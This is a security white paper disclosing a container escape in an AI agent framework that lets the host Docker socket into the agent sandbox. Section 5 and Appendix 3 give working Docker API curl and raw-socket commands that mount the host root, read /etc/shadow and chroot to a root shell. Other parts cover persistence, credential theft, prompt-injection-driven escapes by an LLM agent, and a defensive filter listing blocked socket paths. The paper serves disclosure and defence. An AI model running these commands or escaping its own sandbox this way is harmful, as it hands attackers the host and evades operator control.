Â
⚠️ SECURITY ADVISORY: Organizations deploying the Microsoft Agent Framework (MAF) v1.0.0 may be operating with an active container escape path. The framework’s architectural design permits permissive configuration of host Docker socket access into the AI agent container. Because the vendor classifies this behavior as intended functionality rather than a serviceable vulnerability, standard vulnerability scanners will not flag this risk. Organizations are advised to manually enforce socket isolation or implement pre-execution validation, such as the JDPEnterpriseSecurityFilter (Appendix 4), to mitigate the risk of LLM-driven host compromise. Platform Engineering and DevSecOps teams must override baseline configurations and enforce these controls.
WHITE PAPER | JDP-2026-002
Infrastructure Breach: Container Privilege Escalation via Insecure AI Orchestration in Microsoft Agent Framework
Author: Jeff Ponte, CISSP, CCSP, CEH | Lead Researcher, JDP Security Research Series
Series: JDP Security AI Orchestration Research Series - 2026 (Disclosure #2)
Initial Documentation Date: April 8, 2026
Target: Microsoft Agent Framework (v1.0.0) | claude-agent-sdk (v0.1.48)
Case Number: MSRC VULN-181659 (MSRC 112751)
CVSS v3.1 Score: 10.0 (Critical) Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
Status: Vendor Classified as Intended Architectural Behavior (Requires Manual Mitigation)
Executive Summary
This white paper documents a critical architectural vulnerability pattern—container privilege escalation—demonstrated within the Microsoft Agent Framework (MAF). Analysis of the framework reveals a structural trust gap where the core dependency (claude-agent-sdk) explicitly allow-lists and permits configuration of the host’s Docker socket (/var/run/docker.sock) into agent containers.
This design represents a textbook example of Insecure AI Orchestration. When container environments expose this socket via permissive sandbox configurations, any process within the container—including code generated dynamically by a Large Language Model (LLM)—can interact directly with the host Docker daemon. This grants immediate, root-level host access, bypassing container sandboxing.
This paper documents two distinct exploitation techniques:
- Restart Ejection – a DoS primitive that terminates the container and ejects the attacker to the host shell.
- Host Filesystem Mount – a direct container escape that creates a new container with the host’s root filesystem mounted, yielding a root shell with full read/write access to the host.
The CVSS 10.0 score assumes the LLM interface is exposed without authentication. If authentication is required, the score is 9.9 (Critical) with PR:L.
Because this behavior is currently classified by the vendor’s servicing criteria as intended functionality, organizations must proactively implement secondary infrastructure controls to secure their deployments.
1. Core Architecture: Insecure Defaults
The security risk stems from a deliberate architectural choice that prioritizes execution convenience over infrastructure isolation. The framework operates on a model of Implicit Facilitation.
1.1 Permissive Configuration: Socket Allow-Listing
The framework establishes a permissive bridge to host privileges via its SandboxSettings configuration. In the claude-agent-sdk, socket permissions are explicitly mapped and facilitated through the allowUnixSockets parameter:
# claude_agent_sdk/types.py
# JDP SECURITY ANALYSIS: PRIVILEGE ESCALATION FACILITATION
class NetworkSettings(TypedDict):
allowUnixSockets: NotRequired[list[str]]
allowLocalBinding: NotRequired[bool]
class SandboxSettings(TypedDict):
enabled: NotRequired[bool]
network: NotRequired[NetworkSettings]
Rather than enforcing isolation by default, this schema allows developers to trivially pass "/var/run/docker.sock" into the allowUnixSockets array, which the framework then actively binds into the container’s execution context.
1.2 Mechanics of Orchestration: Understanding Agent Tools
MAF grants LLMs the functional capability to interact with the operating system via tools.
- The Prompt: User requests an action.
- The Planner: MAF transmits the prompt to the LLM with a schema of available tools.
- The Tool Call: The LLM returns a JSON instruction (e.g., a Python script payload).
- The Execution Sink: The framework maps the request to the container, executes the payload natively, and returns the result.
Architectural Trust Failure: MAF fundamentally trusts the non-deterministic output of the LLM while concurrently granting that output direct, unmediated access to the host Docker socket. This violates the principle of least privilege and allows untrusted input to control critical infrastructure components.
1.3 Business Impact: Supply Chain Visibility Risks
- SCA Tool Blindness: Software Composition Analysis (SCA) scanners will not flag this as a risk because no official CVE exists for intended architectural behavior.
- Compliance Gaps: Organizations may unknowingly deploy unmitigated CVSS 10.0 equivalent entry points into production.
- Lack of Default Isolation: Developers utilizing the standard implementation may be unaware that the baseline configuration acts as a conduit for host takeover.
2. CVSS v3.1 Scoring Breakdown (10.0 Critical)
| Metric | Value | Reason for Score |
|---|---|---|
| Attack Vector (AV) | Network | Triggered remotely via standard application interfaces (e.g., chat, API). |
| Attack Complexity (AC) | Low | Exploit path leverages the framework’s default configuration. |
| Privileges Required (PR) | None | Unauthenticated users can trigger the execution via prompt injection. |
| User Interaction (UI) | None | The execution sequence can be fully autonomous. |
| Scope (S) | Changed | Critical: The attacker achieves execution on the host OS, escaping the container boundary. |
| Confidentiality (C) | High | Unrestricted access to host data and cloud control planes. |
| Integrity (I) | High | Ability to modify system files, alter configurations, or inject persistence mechanisms. |
| Availability (A) | High | Total control to terminate host processes or delete infrastructure. |
Assumption:
PR:Nassumes the LLM chat/API is reachable without authentication. If authentication is enforced,PR:Lapplies and the base score becomes 9.9 (Critical). The vulnerability remains critical in either case.
Precondition: This score assumes the agent container is deployed with the Docker socket mounted (a common but not default configuration). If the socket is not mounted, the attack is not possible.
CVSS Vector Strings:
- Unauthenticated (
PR:N):CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H(10.0) - Authenticated (
PR:L):CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H(9.9)
3. OWASP Implications: Mapping the Vulnerability
This architectural pattern maps directly to established vulnerabilities within the OWASP Top 10 for Large Language Model Applications.
- LLM08: Excessive Agency: The framework grants the LLM agent excessive functionality (direct read/write access to the Docker socket) that is not strictly required for standard analytical tasks.
- LLM02: Insecure Output Handling: The framework accepts the LLM’s dynamically generated tool calls and executes them directly against privileged sinks without sufficient intermediate validation or sandboxing.
- Proposed Extension (Insecure AI Orchestration): This research highlights the need for broader industry recognition of orchestration trust gaps, where frameworks implicitly bridge non-deterministic models to deterministic, high-privilege infrastructure.
Red Team Context: This architectural flaw should be incorporated into standard GenAI red teaming methodologies. Framing permissive socket allow-listing via allowUnixSockets as a primary adversarial target for prompt-injection payloads bridges the gap between a theoretical vulnerability and practical, real-world exploit simulation. Red teams should specifically test whether LLM outputs can trigger Docker API calls that create privileged containers or mount host filesystems when socket access is permitted within the sandbox configuration.
4. Disclosure Timeline & Visibility Gaps
The following timeline illustrates the gap between formal vulnerability management and the reality of architectural enterprise risk.
- April 8, 2026: Initial Disclosure submitted to MSRC (VULN-181659) detailing the container escape methodology.
- April 16, 2026: Vendor Advisory – Microsoft publishes an engineering blog post identifying Docker socket mounting as a serious security risk that permits sandbox escape. Best of Both Worlds for Agentic Refactoring: GitHub Copilot + MicroVMs via Docker Sandbox
- April 17, 2026: Case Closure – MSRC officially categorizes the framework’s behavior as not meeting the requirement for a security servicing patch, establishing it as intended behavior requiring user-side mitigation.
5. Exploitation Mechanics & Post-Exploitation
5.1 Proof of Concept – Restart Ejection (DoS + Host Shell)
- Reconnaissance: The attacker instructs the LLM to verify the presence of
/var/run/docker.sockwithin the container. - Payload Generation: The attacker utilizes the LLM to format the exact Docker API endpoint required for container manipulation.
- Execution: The attacker triggers a POST request via the socket:
curl -s --unix-socket /var/run/docker.sock -X POST http://localhost/containers/$ID/restart. - Host Compromise: The containerized process terminates, and the session is ejected directly to the host shell (
vboxuser@Ubuntu-Server:~$).
Note: This technique terminates the container and returns the attacker to the host shell as the user who launched the container (e.g.,
vboxuser). It does not grant root directly.
5.2 Proof of Concept – Host Filesystem Mount (Root Shell)
This technique uses the mounted Docker socket to create a new container with the host’s root filesystem mounted at /host. The attacker then executes into that container, obtaining a root shell with full read/write access to the host.
Note: Any image with a shell can be used. The example uses
maf-sandboxfor consistency with the lab environment. Thejqutility is required for parsing the JSON response.
Step 1 – Create the container:
CONTAINER_ID=$(curl -s --unix-socket /var/run/docker.sock -X POST \
-H "Content-Type: application/json" \
-d '{"Image":"maf-sandbox","Cmd":["tail","-f","/dev/null"],"HostConfig":{"Binds":["/:/host"]}}' \
http://localhost/containers/create | jq -r .Id)
Step 2 – Start the container:
curl -s --unix-socket /var/run/docker.sock -X POST \
http://localhost/containers/$CONTAINER_ID/start
Step 3 – Exec into the container:
Option A – Using the Docker CLI (if available):
docker exec -it $CONTAINER_ID bash
Option B – Using the Docker API directly (no CLI required):
# Create exec instance
EXEC_ID=$(curl -s --unix-socket /var/run/docker.sock -X POST \
-H "Content-Type: application/json" \
-d '{"AttachStdin":true,"AttachStdout":true,"AttachStderr":true,"Tty":true,"Cmd":["bash"]}' \
http://localhost/containers/$CONTAINER_ID/exec | jq -r .Id)
# Start exec instance
curl -s --unix-socket /var/run/docker.sock -X POST \
-H "Content-Type: application/json" \
-d '{"Detach":false,"Tty":true}' \
http://localhost/exec/$EXEC_ID/start
Note: Option B demonstrates the API calls required to create and start an exec instance programmatically. To obtain an interactive shell, the client must attach to the exec stream using a WebSocket or raw Unix socket with TTY allocation. A standard
curlcommand will not provide an interactive terminal. This option is shown for completeness; in practice, an attacker would use a script or tool that handles the stream.
Step 4 – Access the host:
ls /host
cat /host/etc/shadow
Step 5 – Drop into the host’s filesystem context (chroot):
chroot /host /bin/bash
This transitions the attacker from merely interacting with a mounted directory to operating a native root shell directly within the host’s filesystem context. The attacker now has full root access to the host.
5.3 Lateral Movement Risks
Upon escaping to the host as a privileged user (e.g., docker group), an attacker can easily escalate to root, enabling:
- SSH Key Injection: Appending unauthorized keys to
/root/.ssh/authorized_keys. - Persistence: Establishing reverse shells via
/etc/crontab. - Credential Theft: Harvesting cloud infrastructure tokens from
/root/.azure/or/root/.aws/credentials.
5.4 Impact
Successful exploitation allows an attacker to:
- Read/write arbitrary host files (
/host/etc/shadow,/host/root/.ssh/authorized_keys). - Install persistence via
/host/etc/cron.dor/host/etc/systemd/system. - Harvest cloud credentials from
/host/root/.awsor/host/root/.azure. - Pivot to other containers or the host network.
- Terminate or disrupt host services (DoS).
6. Remediation & Strategic Hardening
6.1 Secure-by-Design Principles
- Default Deny: Architectures should require explicit developer configuration rather than implicitly bridging host privileges.
- Principle of Least Privilege: If socket mounting is strictly necessary, it must default to read-only (
ro) to prevent API manipulation.
6.2 Required Infrastructure Hardening
Because this is classified as intended behavior, organizations must implement independent controls.
| Layer | Manual Remediation (Open-Source) | Commercial Solution (Proprietary) | Technical Impact |
|---|---|---|---|
| Isolation | gVisor / Kata Containers | Docker Sandbox (MicroVMs) | Hardware-isolated kernels prevent socket escapes. |
| Privilege Reduction | Podman (Rootless) | Isolated Runtimes | Mitigates host compromise by enforcing unprivileged sessions. |
| Access Control | Docker-Socket-Proxy | Sandbox Filtering Proxy | Blocks destructive or high-privilege API calls (e.g., POST/DELETE). |
| Detection | Falco (eBPF) | Cloud Security Posture Management | Alerts on unauthorized open_at system calls targeting sockets. |
6.3 Runtime Detection & Response
- Deploy Falco or eBPF-based runtime security to alert on unauthorized socket connections.
- Use
docker-socket-proxywith a strict whitelist that blocksPOST /containers/createandPOST /containers/*/start. - Enforce read-only socket mounts where possible.
- Implement pre-execution validation (Appendix 4) to block dangerous tool calls before they reach the socket.
7. Detection & Incident Response
7.1 Telemetry & Detection
- Container Runtime: Monitor processes for
socket.connect("/var/run/docker.sock")operations originating from unexpected binaries (e.g., Python scripts). - Host Infrastructure: Audit Docker API logs for unauthenticated or unauthorized container lifecycle events.
- Network Egress: Detect anomalous outbound connections originating from the host post-exploitation.
- Docker API Abuse: Alert on
POST /containers/createrequests containing"Binds": ["/:/host"]or similar host-root mounts. - Unexpected
docker exec: Monitor fordocker execinto containers that have host root mounted. - Process Anomalies: Detect
socket.connect("/var/run/docker.sock")from non-Docker binaries (e.g., Python, curl). - Container Lifecycle Events: Audit for container creation/start events initiated from inside another container.
7.2 Incident Response Protocol
- Containment: Immediately isolate affected containers and the underlying host.
- Investigation: Audit LLM prompt history, tool execution logs, and socket interaction events.
- Remediation: Apply the infrastructure hardening tiers outlined in Section 6.2.
- Impact Assessment: Evaluate potential exposure of host-level data and cloud credentials.
8. Scope and Environmental Limitations
Rootless Docker Environments
This research focused on standard, privileged Docker installations (/var/run/docker.sock). Common sample configurations and starter templates explicitly target this path:
# Example of the permissive configuration targeting the standard socket
network_config = {
"network": {
"allowUnixSockets": ["/var/run/docker.sock"] # Standard Linux Docker Socket
}
}
Note: Environments utilizing Docker Desktop on Windows or macOS typically employ named pipes or localized sockets (e.g.,
//./pipe/docker_engine). While MAF’s default configuration targets Linux paths, the underlying architectural trust gap remains active. Modifying the configuration to include these alternative paths will expose those environments to identical risks.
Note on Restart Ejection: The restart technique ejects the attacker to the host shell as the user running the container. It does not grant root directly. The host filesystem mount technique (Section 5.2) provides a root shell with full host access.
Conclusion
When an AI framework’s architecture permits permissive socket configurations that facilitate host compromise, it reveals a critical misalignment between traditional vulnerability classification and modern agentic orchestration. The JDP Security Research Series submits these findings to the broader security community to highlight how architectural intent can bypass SCA visibility, establishing the urgent need for robust, defense-in-depth strategies when deploying autonomous AI agents. Organizations must treat the Docker socket as a root-equivalent credential and enforce strict isolation, because the framework’s permissive configuration provides a direct path from LLM output to host compromise.
Appendices
Appendix 1: Forensic Artifacts
maf-cve-Ollama-LLM.mp4/.cast/.txt: Documents acurl-based escape sequence yielding host-level access.maf-cve-Ollama-LLM-NoCURLAPI-CALL.mp4/.cast/.txt: Demonstrates a native Python “Raw Socket” escape, bypassing hardened container images lacking standard networking utilities.maf-cve-HostMount-LLM.mp4/.cast/.txt: (Forthcoming) Demonstrates the host filesystem mount technique, includingchrootinto the host root filesystem.
Appendix 2: Ecosystem Risk Assessment
A qualitative audit of public GitHub repositories utilizing MAF indicates pervasive insecure deployment patterns across the ecosystem. Analysis of starter templates and community examples reveals:
- A high prevalence of executing the agent container as the
rootuser. - Frequent omission of Seccomp or AppArmor security profiles in
docker-compose.ymlfiles. - Widespread reliance on direct
/var/run/docker.sockbind mounts to enable dynamic agent tooling, without utilizing socket-proxies or microVM isolation.
Methodology: The audit was conducted via automated GitHub API queries combined with static analysis using Semgrep rules targeting Dockerfile and docker-compose.yml configurations. The dataset was filtered for repositories with active MAF dependencies and at least one agent container definition.
Appendix 3: The “Raw Socket” Vector
This execution vector relies entirely on native Python libraries, requiring no external dependencies to communicate with the Docker API:
import socket
request = (
"POST /v1.41/containers/self/restart HTTP/1.1\r\n"
"Host: localhost\r\n"
"Content-Length: 0\r\n\r\n"
)
with socket.socket(socket.AF_UNIX, socket.SOCK_STREAM) as s:
s.connect("/var/run/docker.sock")
s.sendall(request.encode())
Appendix 4: Pre-Execution Validation (JDPEnterpriseSecurityFilter)
To address the architectural trust gap, frameworks must implement security-by-design, analyzing LLM-generated payloads prior to execution. The JDPEnterpriseSecurityFilter demonstrates an AST (Abstract Syntax Tree) middleware approach to intercept dangerous operations. (Note: This conceptual filter analyzes Python execution. Comprehensive implementations require language-agnostic validation.)
import ast
from typing import Dict, Any
class SecurityViolationException(Exception):
"""Exception raised for identified security violations."""
pass
class JDPEnterpriseSecurityFilter:
def __init__(self):
self.blocked_paths = ["/var/run/docker.sock", "docker.sock", "unix://"]
self.blocked_imports = {"socket", "docker", "http.client", "urllib"}
def inspect_tool_call(self, tool_name: str, arguments: Dict[str, Any]):
"""Analyze tool arguments for malicious patterns prior to execution."""
for key, value in arguments.items():
if isinstance(value, str):
self._analyze_python_ast(value)
def _analyze_python_ast(self, code_snippet: str):
"""Execute AST analysis to identify restricted operations."""
tree = ast.parse(code_snippet)
for node in ast.walk(tree):
# Restrict high-risk module imports
if isinstance(node, ast.Import):
for alias in node.names:
if alias.name.split('.')[0] in self.blocked_imports:
raise SecurityViolationException(f"Restricted module import blocked: {alias.name}")
# Intercept socket connections targeting Docker API
elif isinstance(node, ast.Call):
if isinstance(node.func, ast.Attribute):
if node.func.attr == 'connect' and isinstance(node.func.value, ast.Name):
if node.func.value.id == 'socket':
for arg in node.args:
if isinstance(arg, ast.Constant):
if any(blocked in str(arg.value) for blocked in self.blocked_paths):
raise SecurityViolationException(
f"Unauthorized socket connection intercepted: {arg.value}"
)
# Prevent dynamic code evaluation
elif isinstance(node, ast.Call):
if isinstance(node.func, ast.Name):
if node.func.id in ['eval', 'exec', '__import__']:
raise SecurityViolationException(
f"Dynamic code execution is disabled: {node.func.id}"
)
# Example Middleware Integration
class MAFSecurityMiddleware:
"""Security middleware for agentic orchestration frameworks."""
def __init__(self):
self.security_filter = JDPEnterpriseSecurityFilter()
async def before_tool_execution(self, tool_call: Dict, context: Any):
"""Mandatory security gate prior to tool execution sink."""
self.security_filter.inspect_tool_call(
tool_name=tool_call.get('name', ''),
arguments=tool_call.get('arguments', {})
)
return tool_call # Validation passed
Appendix 5: Analytical Methodology
Repository Deployment Analysis
An analysis of GitHub repositories deploying MAF was conducted to evaluate real-world security postures:
Evaluation Criteria
CRITERIA = {
'docker_socket_mounted': 'volume mount to /var/run/docker.sock',
'container_user': 'USER directive in Dockerfile',
'security_profiles': 'AppArmor/SELinux/Seccomp declarations',
'isolation_mechanisms': 'Presence of gVisor/Kata/Podman configurations'
}
Note: Initial ecosystem scans indicate that the vast majority of public deployments flag positive for direct socket mounting and root execution while lacking isolation mechanisms.
Appendix 6: Execution Demonstrations
This section provides visual artifacts confirming the container escape methodology when orchestrated via the Microsoft Agent Framework.
Note on Lab Setup & Model Independence: While the framework’s core configuration dependency is named
claude-agent-sdk, the vulnerability exists entirely at the container orchestration layer. Theclaude-agent-sdkdependency is responsible for parsing the permissiveallowUnixSocketsconfiguration, which exposes/var/run/docker.sockinside the container. Because this exposes the host Docker daemon directly to the containerized environment, the exploit is model-agnostic. For the lab demonstrations recorded below, a local Ollama instance (Llama 3.2) was utilized to ensure offline reproducibility and avoid API rate limits, demonstrating that any model (or automated script) operating within the flawed sandbox can execute the escape.
1. maf-cve-Ollama-LLM.cast
- Target Environment: Microsoft Agent Framework
- Execution Method: Autonomous LLM Orchestration
- Summary: Demonstrates the primary container escape vector. Following a natural language prompt, the Ollama-backed LLM autonomously navigates the sandbox boundary, executing commands to gain unauthorized host-level access.
Supporting Files:
2. maf-cve-Ollama-LLM-NoCURLAPI-CALL.cast
- Target Environment: Hardened MAF Container
- Execution Method: Autonomous LLM Orchestration (Stealth Variant)
- Summary: Confirms that the vulnerability remains viable in environments stripped of standard networking utilities (e.g.,
curl). The LLM successfully utilizes native language features to interface with the Docker daemon, achieving execution without triggering standard network-based alerts.
Supporting Files: